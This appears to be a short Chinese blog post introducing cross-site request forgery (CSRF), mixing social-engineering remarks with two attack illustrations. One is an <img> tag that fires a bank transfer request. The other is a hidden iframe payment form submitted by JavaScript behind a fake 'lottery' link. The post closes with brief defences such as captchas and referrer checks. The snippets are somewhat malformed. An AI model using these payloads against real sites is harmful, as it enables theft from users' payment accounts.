刚学习到CSRF——简要说下CSRF

1.,CSRE全称是(Cross-site request forgery),中文名称:跨站请求伪造

它可以看成是一种技术与艺术的结合
既是社会工程学与软件技术的结合
社会工程学-欺骗的艺术
一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段。
黑客行为成功的要素:
高超的程序技巧
不同寻常的耐心
精通社会工程学
2.CSRF关于使用社会工程学原理
原理是揣测并利用用户心理,然后让用户主动把其身份标志泄露。
再窃取用户标志。以代理人身份进行非法行为;
3。CSRE 关于利用软件技术
直白讲既是利用浏览器和服务器漏洞;
假设我们想窃取用户支付宝或银行金额;
      做法1.假设一银行网站很垃圾(这是不可能的。哈哈)
此银行接受数据方式是get或post 方式 
当用户在我们网站交易后, 银行存在cookie。我们只需要在此网站
页面上添加  <img src=银行网站?操作=11&金额=1000>
嘿嘿,1000块钱很容易 


  做法2.窃取支付宝金额。多重提交表单


我们可正常页面正常交易;然后稍微利用下用户心理
页面 代码
   <div>
                对方支付宝账号
            </div>
            <div >
                付款金额
            </div>
            <div >
                <input id="Amount" name="Amount" type="text" value="100" />
            </div>

            </div>
  <p>
                <input type="submit" value="确定" />

            </p>

页面代码2

 1         <script type="text/javascript">
 2             function pay() {
 3                 document.frames["frame"]
 4                   .document.getElementById("formPay").submit();
 5                
 6             }
 7 
 8         </script>
 9 
10           <iframe src="chatPay.aspx" id="frame" name="frame"  style="0px; height:0px"></iframe><href="javascript:pay();">获取抽奖机会</a>

11     </div> 

通过表单的双重提交进行两次交易
防御方法:建议用法对cookie 进行md5加密。然后像支付宝那样增加个第三方验证;

还有图片验证 

httpreferrer验证 


 
原文地址:https://www.cnblogs.com/zhang888/p/zhangguang2.html